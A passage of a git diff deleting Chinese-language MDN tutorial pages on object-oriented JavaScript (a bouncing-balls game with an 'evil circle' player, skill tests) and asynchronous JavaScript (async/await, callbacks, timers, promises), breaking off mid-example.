  3. 还应该定义一个叫 exists 的新属性,用来标记球是否存在于程序中 (没有被恶魔圈吃掉)。这应该是一个布尔型((true/false)。
  4. -
  5. 构造器 Ball() 应该从构造器 Shape() 继承 x, y, velX, velY,和 exists 属性。
  6. -
  7. 构造器 Ball() 还应该像最初的构造器 Ball() 那样定义一个 color 和一个size 属性。
  8. -
  9. 请记得给构造器 Ball() 的prototypeconstructor 属性设置适当的值。
  10. -
- -

draw(), update(), 和collisionDetect() 方法定义应保持不变。

- -

你还需要为 new Ball() { ... } 构造器添加第五个参数—— exists, 且值为 true

- -

到这里, 尝试重新加载代码(运行程序),程序以及重新设计的对象都应该像之前那样工作。

- -

定义恶魔圈 EvilCircle()

- -

现在是时候来看看那个坏蛋了——恶魔圈 EvilCircle()! 我们的游戏中只会有一个恶魔圈,但我们仍然要使用继承自 Shape() 的构造器来定义它,这是为让你得到锻炼。 之后你可能会想再添加一个由另一个玩家控制的恶魔圈到程序中,或者有几个电脑控制的恶魔圈。你可没法通过一个恶魔圈来掌管程序中的这个世界,但这个评估中就先只这么做吧。

- -

EvilCircle() 构造器应该从Shape() 继承 x, y, 和 exists ,velXvelY 要恒为 20。

- -

可以这样做:Shape.call(this, x, y, 20, 20, exists);

- -

它还应该定义自己的一些属性,如:

- - - -

再次记得给你的 EvilCircle() 构造器的传递的参数中定义你继承的属性,并且给prototypeconstructor 属性设置适当的值。

- -

定义 EvilCircle() 的方法

- -

EvilCircle() 应该有以下四个方法:

- -

draw()

- -

这个方法和 Ball()'s draw() 方法有着相同的目的:它们把都是对象的实例画在画布上(canvas) 。它们实现的方式差不多,所以你可以先复制 Ball.prototype.draw 的定义。然后你需要做下面的修改:

- - - -

checkBounds()

- -

这个方法和 Ball() 的 update() 函数做相同的事情—— 查看恶魔圈是否将要超出屏幕的边界, 并且禁止它超出。 同样,你可以直接复制 Ball.prototype.update 的定义, 但是你需要做一些修改:

- - - -

setControls()

- -

这个方法将会一个 onkeydown 的事件监听器给 window 对象,这样当特定的键盘按键按下的时候,我们就可以移动恶魔圈。下面的代码块应该放在方法的定义里:

- -
window.onkeydown = e => {
-  switch(e.key) {
-    case 'a':
-      this.x -= this.velX;
-      break;
-    case 'd':
-      this.x += this.velX;
-      break;
-    case 'w':
-      this.y -= this.velY;
-      break;
-    case 's':
-      this.y += this.velY;
-      break;
-  }
-};
- -

所以当一个按键按下时, 事件对象的 key 属性 就可以请求到按下的按键值。如果是代码中那四个指定的键值之一, 那么恶魔圈将会左右上下的移动。

- -
-

译注:英文页面中使用了事件对象的 keyCode 属性,不推荐在新代码中使用该属性,应使用标准 key 属性代替。(详见介绍页面)

-
- -
译注:这里的 window.onkeydown 用一个 箭头函数 代替了英文页面中的匿名函数,从而无需 var _this = this
- -

collisionDetect()

- -

这个方法和 Ball()'s collisionDetect() 方法很相似,所以你可以从它那里复制过来作为新方法的基础。但有一些不同之处:

- - - -

把恶魔圈带到程序中

- -

现在我们已经定义了恶魔圈,我们需要让它显示到我们的屏幕中。为了做这件事,你需要修改一下 loop() 函数:

- - - -

计算得分

- -

为了计算得分,需按照以下步骤:

- -
    -
  1. 在你的HTML文件中添加一个{{HTMLElement("p")}} 元素到 {{HTMLElement("h1")}} 元素的下面,其中包含文本 "还剩多少个球"。
  2. -
  3. 在你的CSS文件中,添加下面的代码到底部: -
    p {
    -  position: absolute;
    -  margin: 0;
    -  top: 35px;
    -  right: 5px;
    -  color: #aaa;
    -}
    -
  4. -
  5. 在你的 JavaScript 文件中,做下列的修改: -
      -
    • 创建一个变量存储段落的引用。
    • -
    • 以同样的方式在屏幕上显示小球的数量。
    • -
    • 增加球数并在每次将球添加到屏幕里时显示更新的球数量。
    • -
    • 减少球数并在每次恶魔吃球时显示更新的球数(因为被吃掉的球不存在了)
    • -
    -
  6. -
- -

提示

- - - -

评定

- -

如果你将此评估作为有组织的课程的一部分,你可以将你的成果交给您的老师/导师进行评分。 如果你是自学的,通过在 Learning Area Discourse thread, 或者在 Mozilla IRC 的 #mdn IRC 频道上申请,你可以十分容易地得到评分指南。首先先尝试这个练习,作弊不会有任何收获。

- -

{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}

- -

本章目录

- - diff --git "a/files/zh-cn/learn/javascript/objects/\346\265\213\350\257\225\344\275\240\347\232\204\346\212\200\350\203\275_colon_\351\235\242\345\220\221\345\257\271\350\261\241\347\232\204javascript/index.html" "b/files/zh-cn/learn/javascript/objects/\346\265\213\350\257\225\344\275\240\347\232\204\346\212\200\350\203\275_colon_\351\235\242\345\220\221\345\257\271\350\261\241\347\232\204javascript/index.html" deleted file mode 100644 index 8fd0cc3256..0000000000 --- "a/files/zh-cn/learn/javascript/objects/\346\265\213\350\257\225\344\275\240\347\232\204\346\212\200\350\203\275_colon_\351\235\242\345\220\221\345\257\271\350\261\241\347\232\204javascript/index.html" +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: 测试你的技能:面向对象的Javascript -slug: 'Learn/JavaScript/Objects/测试你的技能:面向对象的Javascript' -tags: - - JavaScript - - OOJS - - 初学者 - - 学习 - - 对象 - - 测试你的技能 -translation_of: 'Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript' ---- -
{{learnsidebar}}
- -
这个测试的目的是为了评估你是否已经理解了我们的适合初学者的JavaScript面向对象对象原型,和 JavaScript 中的继承文章。
- -
- -
-

注意: 你可以尝试在下方的交互编辑器,但是若你下载源码或是使用在线工具例如 CodePen, jsFiddle, 或 Glitch 来进行这些项目的话,会更有帮助。

- -

如果你在过程中想不出解决方案,你可以向我们寻求帮助——查看在本页的底部章节 {{anch("Assessment or further help")}}。

-
- -
-

注意: 在下方的例子中,如果在你的代码中有错误内容的话,错误内容将在页面的结果面板进行显示,以此来帮助你想出解决方案(若是下载的版本,请进入浏览器的 JavaScript 控制台)。

-
- -

OOJS 1

- -

In this task we provide you with a constructor. We want you to:

- - - -

Try updating the live code below to recreate the finished example:

- -

{{EmbedGHLiveSample("learning-area/javascript/oojs/tasks/oojs/oojs1.html", '100%', 400)}}

- -
-

Download the starting point for this task to work in your own editor or in an online editor.

-
- -

OOJS 2

- -

Next up we want you to take the Shape class you saw in Task #1 (including the calcPerimeter() method) and recreate it using ES class syntax instead.

- -

Test that it works by creating the square and triangle object instances as before (using new Shape() for both), and then calling their calcPerimeter() methods.

- -

Try updating the live code below to recreate the finished example:

- -

{{EmbedGHLiveSample("learning-area/javascript/oojs/tasks/oojs/oojs2.html", '100%', 400)}}

- -
-

Download the starting point for this task to work in your own editor or in an online editor.

-
- -

OOJS 3

- -

Finally, we'd like you to start with the ES Shape class you created in the last task.

- -

We'd like you to create a Square class that inherits from Shape, and adds a calcArea() method that calculates the square's area. Also set up the constructor so that the name property of Square object instances is automatically set to square, and the sides property is automatically set to 4. When invoking the constructor, you should therefore just need to provide the sideLength property.

- -

Create an instance of the Square class called square with appropriate property values, and call its calcPerimeter() and calcArea() methods to show that it works ok.

- -

Try updating the live code below to recreate the finished example:

- -

{{EmbedGHLiveSample("learning-area/javascript/oojs/tasks/oojs/oojs3.html", '100%', 400)}}

- -
-

Download the starting point for this task to work in your own editor or in an online editor.

-
- -

Assessment or further help

- -

You can practice these examples in the Interactive Editors above.

- -

If you would like your work assessed, or are stuck and want to ask for help:

- -
    -
  1. Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections.
  2. -
  3. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: -
      -
    • A descriptive title such as "Assessment wanted for OOJS 1 skill test".
    • -
    • Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.
    • -
    • A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.
    • -
    • A link to the actual task or assessment page, so we can find the question you want help with.
    • -
    -
  4. -
diff --git "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/async_await/index.html" "b/files/zh-cn/learn/javascript/\345\274\202\346\255\245/async_await/index.html" deleted file mode 100644 index 739ab63602..0000000000 --- "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/async_await/index.html" +++ /dev/null @@ -1,379 +0,0 @@ ---- -title: 'async和await:让异步编程更简单' -slug: learn/JavaScript/异步/Async_await -translation_of: Learn/JavaScript/Asynchronous/Async_await ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}
- -

async functions 和 await 关键字是最近添加到JavaScript语言里面的。它们是ECMAScript 2017 JavaScript版的一部分(参见ECMAScript Next support in Mozilla)。简单来说,它们是基基于promises的语法糖,使异步代码更易于编写和阅读。通过使用它们,异步代码看起来更像是老式同步代码,因此它们非常值得学习。本文为您提供了您需要了解的内容。

- - - - - - - - - - - - -
先决条件:基本的计算机知识,较好理解 JavaScript 基础,以及理解一般异步代码和 promises 。
目标:理解并使用 promise
- -

async/await 基础

- -

在代码中使用 async / await 有两个部分。

- -

async 关键字

- -

首先,我们使用 async 关键字,把它放在函数声明之前,使其成为 async function。异步函数是一个知道怎样使用 await 关键字调用异步代码的函数。

- -

尝试在浏览器的JS控制台中键入以下行:

- -
function hello() { return "Hello" };
-hello();
- -

该函数返回“Hello” —— 没什么特别的,对吧?

- -

如果我们将其变成异步函数呢?请尝试以下方法:

- -
async function hello() { return "Hello" };
-hello();
- -

哈。现在调用该函数会返回一个 promise。这是异步函数的特征之一 —— 它保证函数的返回值为 promise。

- -

你也可以创建一个异步函数表达式(参见 async function expression ),如下所示:

- -
let hello = async function() { return "Hello" };
-hello();
- -

你可以使用箭头函数:

- -
let hello = async () => { return "Hello" };
- -

这些都基本上是一样的。

- -

要实际使用promise完成时返回的值,我们可以使用.then()块,因为它返回的是 promise:

- -
hello().then((value) => console.log(value))
- -

甚至只是简写如

- -
hello().then(console.log)
- -

这就像我们在上一篇文章中看到的那样。

- -

将 async 关键字加到函数申明中,可以告诉它们返回的是 promise,而不是直接返回值。此外,它避免了同步函数为支持使用 await 带来的任何潜在开销。在函数声明为 async 时,JavaScript引擎会添加必要的处理,以优化你的程序。爽!

- -

await关键字

- -

当 await 关键字与异步函数一起使用时,它的真正优势就变得明显了 —— 事实上, await 只在异步函数里面才起作用。它可以放在任何异步的,基于 promise 的函数之前。它会暂停代码在该行上,直到 promise 完成,然后返回结果值。在暂停的同时,其他正在等待执行的代码就有机会执行了。

- -

您可以在调用任何返回Promise的函数时使用 await,包括Web API函数。

- -

这是一个简单的示例:

- -
async function hello() {
-  return greeting = await Promise.resolve("Hello");
-};
-
-hello().then(alert);
- -

当然,上面的示例不是很有用,但它确实展示了语法。让我们继续,看一个真实示例。

- -

 使用 async/await 重写 promise 代码

- -

让我们回顾一下我们在上一篇文章中简单的 fetch 示例:

- -
fetch('coffee.jpg')
-.then(response => response.blob())
-.then(myBlob => {
-  let objectURL = URL.createObjectURL(myBlob);
-  let image = document.createElement('img');
-  image.src = objectURL;
-  document.body.appendChild(image);
-})
-.catch(e => {
-  console.log('There has been a problem with your fetch operation: ' + e.message);
-});
- -

到现在为止,你应该对 promises 及其工作方式有一个较好的理解。让我们将其转换为使用async / await看看它使事情变得简单了多少:

- -
async function myFetch() {
-  let response = await fetch('coffee.jpg');
-  let myBlob = await response.blob();
-
-  let objectURL = URL.createObjectURL(myBlob);
-  let image = document.createElement('img');
-  image.src = objectURL;
-  document.body.appendChild(image);
-}
-
-myFetch()
-.catch(e => {
-  console.log('There has been a problem with your fetch operation: ' + e.message);
-});
- -

它使代码简单多了,更容易理解 —— 去除了到处都是 .then() 代码块!

- -

由于 async 关键字将函数转换为 promise,您可以重构以上代码 —— 使用 promise 和 await 的混合方式,将函数的后半部分抽取到新代码块中。这样做可以更灵活:

- -
async function myFetch() {
-  let response = await fetch('coffee.jpg');
-  return await response.blob();
-}
-
-myFetch().then((blob) => {
-  let objectURL = URL.createObjectURL(blob);
-  let image = document.createElement('img');
-  image.src = objectURL;
-  document.body.appendChild(image);
-});
- -

您可以尝试自己输入示例,或运行我们的 live example (另请参阅source code)。

- -

它到底是如何工作的?

- -

您会注意到我们已经将代码封装在函数中,并且我们在 function 关键字之前包含了 async 关键字。这是必要的 –– 您必须创建一个异步函数来定义一个代码块,在其中运行异步代码; await 只能在异步函数内部工作。

- -

myFetch()函数定义中,您可以看到代码与先前的 promise 版本非常相似,但存在一些差异。不需要附加 .then() 代码块到每个promise-based方法的结尾,你只需要在方法调用前添加 await 关键字,然后把结果赋给变量。await 关键字使JavaScript运行时暂停于此行,允许其他代码在此期间执行,直到异步函数调用返回其结果。一旦完成,您的代码将继续从下一行开始执行。例如:

- -
let response = await fetch('coffee.jpg');
- -

解析器会在此行上暂停,直到当服务器返回的响应变得可用时。此时 fetch() 返回的 promise 将会完成(fullfilled),返回的 response 会被赋值给 response 变量。一旦服务器返回的响应可用,解析器就会移动到下一行,从而创建一个Blob。Blob这行也调用基于异步promise的方法,因此我们也在此处使用await。当操作结果返回时,我们将它从myFetch()函数中返回。

- -

这意味着当我们调用myFetch()函数时,它会返回一个promise,因此我们可以将.then()链接到它的末尾,在其中我们处理显示在屏幕上的blob

- -

你可能已经觉得“这真的很酷!”,你是对的 —— 用更少的.then()块来封装代码,同时它看起来很像同步代码,所以它非常直观。

- -

添加错误处理

- -

如果你想添加错误处理,你有几个选择。

- -

您可以将同步的 try...catch 结构和 async/await 一起使用 。此示例扩展了我们上面展示的第一个版本代码:

- -
async function myFetch() {
-  try {
-    let response = await fetch('coffee.jpg');
-    let myBlob = await response.blob();
-
-    let objectURL = URL.createObjectURL(myBlob);
-    let image = document.createElement('img');
-    image.src = objectURL;
-    document.body.appendChild(image);
-  } catch(e) {
-    console.log(e);
-  }
-}
-
-myFetch();
- -

catch() {} 代码块会接收一个错误对象 e ; 我们现在可以将其记录到控制台,它将向我们提供详细的错误消息,显示错误被抛出的代码中的位置。

- -

如果你想使用我们上面展示的第二个(重构)代码版本,你最好继续混合方式并将 .catch() 块链接到 .then() 调用的末尾,就像这样:

- -
async function myFetch() {
-  let response = await fetch('coffee.jpg');
-  return await response.blob();
-}
-
-myFetch().then((blob) => {
-  let objectURL = URL.createObjectURL(blob);
-  let image = document.createElement('img');
-  image.src = objectURL;
-  document.body.appendChild(image);
-})
-.catch((e) =>
-  console.log(e)
-);
- -

这是因为 .catch() 块将捕获来自异步函数调用和promise链中的错误。如果您在此处使用了try/catch 代码块,则在调用 myFetch() 函数时,您仍可能会收到未处理的错误。

- -

您可以在GitHub上找到这两个示例:

- - - -

等待Promise.all()

- -

async / await 建立在 promises 之上,因此它与promises提供的所有功能兼容。这包括Promise.all() –– 你完全可以通过调用 await Promise.all() 将所有结果返回到变量中,就像同步代码一样。让我们再次回到上一篇中看到的例子。在单独的选项卡中打开它,以便您可以与下面显示的新版本进行比较和对比。

- -

将其转换为 async / await(请参阅 样例 和 源码),现在看起来像这样:

- -
async function fetchAndDecode(url, type) {
-  let response = await fetch(url);
-
-  let content;
-
-  if(type === 'blob') {
-    content = await response.blob();
-  } else if(type === 'text') {
-    content = await response.text();
-  }
-
-  return content;
-}
-
-async function displayContent() {
-  let coffee = fetchAndDecode('coffee.jpg', 'blob');
-  let tea = fetchAndDecode('tea.jpg', 'blob');
-  let description = fetchAndDecode('description.txt', 'text');
-
-  let values = await Promise.all([coffee, tea, description]);
-
-  let objectURL1 = URL.createObjectURL(values[0]);
-  let objectURL2 = URL.createObjectURL(values[1]);
-  let descText = values[2];
-
-  let image1 = document.createElement('img');
-  let image2 = document.createElement('img');
-  image1.src = objectURL1;
-  image2.src = objectURL2;
-  document.body.appendChild(image1);
-  document.body.appendChild(image2);
-
-  let para = document.createElement('p');
-  para.textContent = descText;
-  document.body.appendChild(para);
-}
-
-displayContent()
-.catch((e) =>
-  console.log(e)
-);
- -

可以看到 fetchAndDecode() 函数只进行了一丁点的修改就转换成了异步函数。请看Promise.all() 行:

- -
let values = await Promise.all([coffee, tea, description]);
- -

在这里,通过使用await,我们能够在三个promise的结果都可用的时候,放入values数组中。这看起来非常像同步代码。我们需要将所有代码封装在一个新的异步函数displayContent() 中,尽管没有减少很多代码,但能够将大部分代码从 .then() 代码块移出,使代码得到了简化,更易读。

- -

为了错误处理,我们在 displayContent() 调用中包含了一个 .catch() 代码块;这将处理两个函数中出现的错误。

- -
-

注意: 也可以在异步函数中使用同步 finally 代码块代替 .finally() 异步代码块,以显示操作如何进行的最终报告——您可以在我们的 live example (查看源代码)中看到这一点。

-
- -

async/await的缺陷

- -

了解Async/await是非常有用的,但还有一些缺点需要考虑。

- -

Async/await 让你的代码看起来是同步的,在某种程度上,也使得它的行为更加地同步。 await 关键字会阻塞其后的代码,直到promise完成,就像执行同步操作一样。它确实可以允许其他任务在此期间继续运行,但您自己的代码被阻塞。

- -

这意味着您的代码可能会因为大量await的promises相继发生而变慢。每个await都会等待前一个完成,而你实际想要的是所有的这些promises同时开始处理(就像我们没有使用async/await时那样)。

- -

有一种模式可以缓解这个问题——通过将 Promise 对象存储在变量中来同时开始它们,然后等待它们全部执行完毕。让我们看一些证明这个概念的例子。

- -

我们有两个可用的例子 —— slow-async-await.html(参见source code)和fast-async-await.html(参见source code)。它们都以自定义promise函数开始,该函数使用setTimeout() 调用伪造异步进程:

- -
function timeoutPromise(interval) {
-  return new Promise((resolve, reject) => {
-    setTimeout(function(){
-      resolve("done");
-    }, interval);
-  });
-};
- -

然后每个包含一个 timeTest() 异步函数,等待三个 timeoutPromise() 调用:

- -
async function timeTest() {
-  ...
-}
- -

每一个都以记录开始时间结束,查看 timeTest() promise 需要多长时间才能完成,然后记录结束时间并报告操作总共需要多长时间:

- -
let startTime = Date.now();
-timeTest().then(() => {
-  let finishTime = Date.now();
-  let timeTaken = finishTime - startTime;
-  alert("Time taken in milliseconds: " + timeTaken);
-})
- -

timeTest() 函数在每种情况下都不同。

- -

slow-async-await.html示例中,timeTest() 如下所示:

- -
async function timeTest() {
-  await timeoutPromise(3000);
-  await timeoutPromise(3000);
-  await timeoutPromise(3000);
-}
- -

在这里,我们直接等待所有三个timeoutPromise()调用,使每个调用3秒钟。后续的每一个都被迫等到最后一个完成 - 如果你运行第一个例子,你会看到弹出框报告的总运行时间大约为9秒。

- -

fast-async-await.html示例中,timeTest() 如下所示:

- -
async function timeTest() {
-  const timeoutPromise1 = timeoutPromise(3000);
-  const timeoutPromise2 = timeoutPromise(3000);
-  const timeoutPromise3 = timeoutPromise(3000);
-
-  await timeoutPromise1;
-  await timeoutPromise2;
-  await timeoutPromise3;
-}
- -

在这里,我们将三个Promise对象存储在变量中,这样可以同时启动它们关联的进程。

- -

接下来,我们等待他们的结果 - 因为promise都在基本上同时开始处理,promise将同时完成;当您运行第二个示例时,您将看到弹出框报告总运行时间仅超过3秒!

- -

您必须仔细测试您的代码,并在性能开始受损时牢记这一点。

- -

另一个小小的不便是你必须将等待执行的promise封装在异步函数中。

- -

Async/await 的类方法

- -

最后值得一提的是,我们可以在类/对象方法前面添加async,以使它们返回promises,并await它们内部的promises。查看 ES class code we saw in our object-oriented JavaScript article,然后查看使用异步方法的修改版本:

- -
class Person {
-  constructor(first, last, age, gender, interests) {
-    this.name = {
-      first,
-      last
-    };
-    this.age = age;
-    this.gender = gender;
-    this.interests = interests;
-  }
-
-  async greeting() {
-    return await Promise.resolve(`Hi! I'm ${this.name.first}`);
-  };
-
-  farewell() {
-    console.log(`${this.name.first} has left the building. Bye for now!`);
-  };
-}
-
-let han = new Person('Han', 'Solo', 25, 'male', ['Smuggling']);
- -

第一个实例方法可以使用如下:

- -
han.greeting().then(console.log);
- -

浏览器的支持

- -

决定是否使用 async/await 时的一个考虑因素是支持旧浏览器。它们适用于大多数浏览器的现代版本,与promise相同; 主要的支持问题存在于Internet Explorer和Opera Mini。

- -

如果你想使用async/await但是担心旧的浏览器支持,你可以考虑使用BabelJS库 —— 这允许你使用最新的JavaScript编写应用程序,让Babel找出用户浏览器需要的更改。在遇到不支持async/await 的浏览器时,Babel的 polyfill 可以自动提供适用于旧版浏览器的实现。

- -

总结

- -

async/await提供了一种很好的,简化的方法来编写更易于阅读和维护的异步代码。即使浏览器支持在撰写本文时比其他异步代码机制更受限制,但无论是现在还是将来,都值得学习和考虑使用。

- -

{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}

- -

本章内容

- - diff --git "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/choosing_the_right_approach/index.html" "b/files/zh-cn/learn/javascript/\345\274\202\346\255\245/choosing_the_right_approach/index.html" deleted file mode 100644 index 276d815b85..0000000000 --- "a/files/zh-cn/learn/javascript/\345\274\202\346\255\245/choosing_the_right_approach/index.html" +++ /dev/null @@ -1,523 +0,0 @@ ---- -title: 选择正确的方法 -slug: learn/JavaScript/异步/Choosing_the_right_approach -translation_of: Learn/JavaScript/Asynchronous/Choosing_the_right_approach ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}
- -

为了完成这个模块,我们将简要讨论之前章节谈论过编码技术和功能,看看你应该使用哪一个,并提供适当的建议和提醒。随着时间的推移,我们可能会添加到此资源中。

- - - - - - - - - - - - -
预备条件:基本的计算机素养,对JavaScript基础知识的合理理解。
目标:能够在使用不同的异步编程技术时做出合理的选择。
- -

异步回调

- -

通常在旧式API中找到,涉及将函数作为参数传递给另一个函数,然后在异步操作完成时调用该函数,以便回调可以依次对结果执行某些操作。这是promise的前身;它不那么高效或灵活。仅在必要时使用。

- - - - - - - - - - - - - - - - - - - -
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
NoYes (recursive callbacks)Yes (nested callbacks)No
- -

代码示例

- -

通过XMLHttpRequest API加载资源的示例(run it live,并查看see the source):

- -
function loadAsset(url, type, callback) {
-  let xhr = new XMLHttpRequest();
-  xhr.open('GET', url);
-  xhr.responseType = type;
-
-  xhr.onload = function() {
-    callback(xhr.response);
-  };
-
-  xhr.send();
-}
-
-function displayImage(blob) {
-  let objectURL = URL.createObjectURL(blob);
-
-  let image = document.createElement('img');
-  image.src = objectURL;
-  document.body.appendChild(image);
-}
-
-loadAsset('coffee.jpg', 'blob', displayImage);
- -

缺陷

- - - -

浏览器兼容性

- -

非常好的一般支持,尽管API中回调的确切支持取决于特定的API。有关更具体的支持信息,请参阅您正在使用的API的参考文档。

- -

更多信息

- - - -

setTimeout()

- -

setTimeout() 是一种允许您在经过任意时间后运行函数的方法

- - - - - - - - - - - - - - - - - -
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
YesYes (recursive timeouts)Yes (nested timeouts)No
- -

代码示例

- -

这里浏览器将在执行匿名函数之前等待两秒钟,然后将显示警报消息(see it running livesee the source code):

- -
let myGreeting = setTimeout(function() {
-  alert('Hello, Mr. Universe!');
-}, 2000)
- -

缺陷

- -

您可以使用递归的setTimeout()调用以类似于setInterval()的方式重复运行函数,使用如下代码:

- -
let i = 1;
-setTimeout(function run() {
-  console.log(i);
-  i++;
-
-  setTimeout(run, 100);
-}, 100);
- -

递归setTimeout()setInterval()之间存在差异:

- - - -

当你的代码有可能比你分配的时间间隔更长时间运行时,最好使用递归的setTimeout() ––这将使执行之间的时间间隔保持不变,无论代码执行多长时间,你不会得到错误。

- -

浏览器兼容性

- -

{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}

- -

更多信息

- - - -

setInterval()

- -

setInterval()函数允许重复执行一个函数,并设置时间间隔。不如requestAnimationFrame()有效率,但允许您选择运行速率/帧速率。

- - - - - - - - - - - - - - - - - -
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
NoYesNo (unless it is the same one)No
- -

代码示例

- -

以下函数创建一个新的Date()对象,使用toLocaleTimeString()从中提取时间字符串,然后在UI中显示它。然后我们使用setInterval()每秒运行一次,创建每秒更新一次的数字时钟的效果(see this livesee the source):

- -
function displayTime() {
-   let date = new Date();
-   let time = date.toLocaleTimeString();
-   document.getElementById('demo').textContent = time;
-}
-
-const createClock = setInterval(displayTime, 1000);
- -

缺陷

- - - -

浏览器兼容性

- -

{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}

- -

更多信息

- - - -

requestAnimationFrame()

- -

requestAnimationFrame()是一种允许您以给定当前浏览器/系统的最佳帧速率重复且高效地运行函数的方法。除非您需要特定的速率帧,否则您应该尽可能使用它而不要去使用setInterval()/recursive setTimeout()

- - - - - - - - - - - - - - - - - -
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
NoYesNo (unless it is the same one)No
- -

代码示例

- -

一个简单的动画旋转器;你可以查看example live on GitHub(参见 source code ):

- -
const spinner = document.querySelector('div');
-let rotateCount = 0;
-let startTime = null;
-let rAF;
-
-function draw(timestamp) {
-  if(!startTime) {
-    startTime = timestamp;
-  }
-
-  let rotateCount = (timestamp - startTime) / 3;
-
-  spinner.style.transform = 'rotate(' + rotateCount + 'deg)';
-
-  if(rotateCount > 359) {
-    rotateCount = 0;
-  }
-
-  rAF = requestAnimationFrame(draw);
-}
-
-draw();
- -

缺陷

- - - -

浏览器兼容性

- -

{{Compat("api.Window.requestAnimationFrame")}}

- -

更多信息

- - - -

Promises

- -

Promises 是一种JavaScript功能,允许您运行异步操作并等到它完全完成后再根据其结果运行另一个操作。 Promise是现代异步JavaScript的支柱。

- - - - - - - - - - - - - - - - - -
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
NoNoYesSee Promise.all(), below
- -

代码示例

- -

以下代码从服务器获取图像并将其显示在 {{htmlelement("img")}} 元素中;(see it live alsothe source code):

- -
fetch('coffee.jpg')
-.then(response => response.blob())
-.then(myBlob => {
-  let objectURL = URL.createObjectURL(myBlob);
-  let image = document.createElement('img');
-  image.src = objectURL;
-  document.body.appendChild(image);
-})
-.catch(e => {
-  console.log('There has been a problem with your fetch operation: ' + e.message);
-});
- -

缺陷

- -

Promise链可能很复杂,难以解析。如果你嵌套了许多promises,你最终可能会遇到类似的麻烦来回调地狱。例如:

- -
remotedb.allDocs({
-  include_docs: true,
-  attachments: true
-}).then(function (result) {
-  var docs = result.rows;
-  docs.forEach(function(element) {
-    localdb.put(element.doc).then(function(response) {
-      alert("Pulled doc with id " + element.doc._id + " and added to local db.");
-    }).catch(function (err) {
-      if (err.name == 'conflict') {
-        localdb.get(element.doc._id).then(function (resp) {
-          localdb.remove(resp._id, resp._rev).then(function (resp) {
-// et cetera...
- -

最好使用promises的链功能,这样使用更平顺,更易于解析的结构:

- -
remotedb.allDocs(...).then(function (resultOfAllDocs) {
-  return localdb.put(...);
-}).then(function (resultOfPut) {
-  return localdb.get(...);
-}).then(function (resultOfGet) {
-  return localdb.put(...);
-}).catch(function (err) {
-  console.log(err);
-});
- -

乃至:

- -
remotedb.allDocs(...)
-.then(resultOfAllDocs => {
-  return localdb.put(...);
-})
-.then(resultOfPut => {
-  return localdb.get(...);
-})
-.then(resultOfGet => {
-  return localdb.put(...);
-})
-.catch(err => console.log(err));
- -

这涵盖了很多基础知识。对于更完整的论述,请参阅诺兰劳森的We have a problem with promises

- -

浏览器兼容性

- -

{{Compat("javascript.builtins.Promise")}}

- -

更多信息

- - - -

Promise.all()

- -

一种JavaScript功能,允许您等待多个promises完成,然后根据所有其他promises的结果运行进一步的操作。

- - - - - - - - - - - - - - - - - -
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
NoNoNoYes
- -

代码示例

- -

以下示例从服务器获取多个资源,并使用Promise.all()等待所有资源可用,然后显示所有这些资源––  see it live,并查看source code

- -
function fetchAndDecode(url, type) {
-  // Returning the top level promise, so the result of the entire chain is returned out of the function
-  return fetch(url).then(response => {
-    // Depending on what type of file is being fetched, use the relevant function to decode its contents
-    if(type === 'blob') {
-      return response.blob();
-    } else if(type === 'text') {
-      return response.text();
-    }
-  })
-  .catch(e => {
-    console.log(`There has been a problem with your fetch operation for resource "${url}": ` + e.message);
-  });
-}
-
-// Call the fetchAndDecode() method to fetch the images and the text, and store their promises in variables
-let coffee = fetchAndDecode('coffee.jpg', 'blob');
-let tea = fetchAndDecode('tea.jpg', 'blob');
-let description = fetchAndDecode('description.txt', 'text');
-
-// Use Promise.all() to run code only when all three function calls have resolved
-Promise.all([coffee, tea, description]).then(values => {
-  console.log(values);
-  // Store each value returned from the promises in separate variables; create object URLs from the blobs
-  let objectURL1 = URL.createObjectURL(values[0]);
-  let objectURL2 = URL.createObjectURL(values[1]);
-  let descText = values[2];
-
-  // Display the images in <img> elements
-  let image1 = document.createElement('img');
-  let image2 = document.createElement('img');
-  image1.src = objectURL1;
-  image2.src = objectURL2;
-  document.body.appendChild(image1);
-  document.body.appendChild(image2);
-
-  // Display the text in a paragraph
-  let para = document.createElement('p');
-  para.textContent = descText;
-  document.body.appendChild(para);
-});
- -

缺陷

- - - -

浏览器兼容性

- -

{{Compat("javascript.builtins.Promise.all")}}

- -

更多信息

- - - -

Async/await

- -

构造在promises之上的语法糖,允许您使用更像编写同步回调代码的语法来运行异步操作。

- - - - - - - - - - - - - - - - - -
Useful for...
Single delayed operationRepeating operationMultiple sequential operationsMultiple simultaneous operations
NoNoYesYes (in combination with Promise.all())
- -

代码示例

- -

以下示例是我们之前看到的简单承诺示例的重构,该示例获取并显示图像,使用async / await编写(see it live,并查看source code):

- -
async function myFetch() {
-  let response = await fetch('coffee.jpg');
-  let myBlob = await response.blob();
-
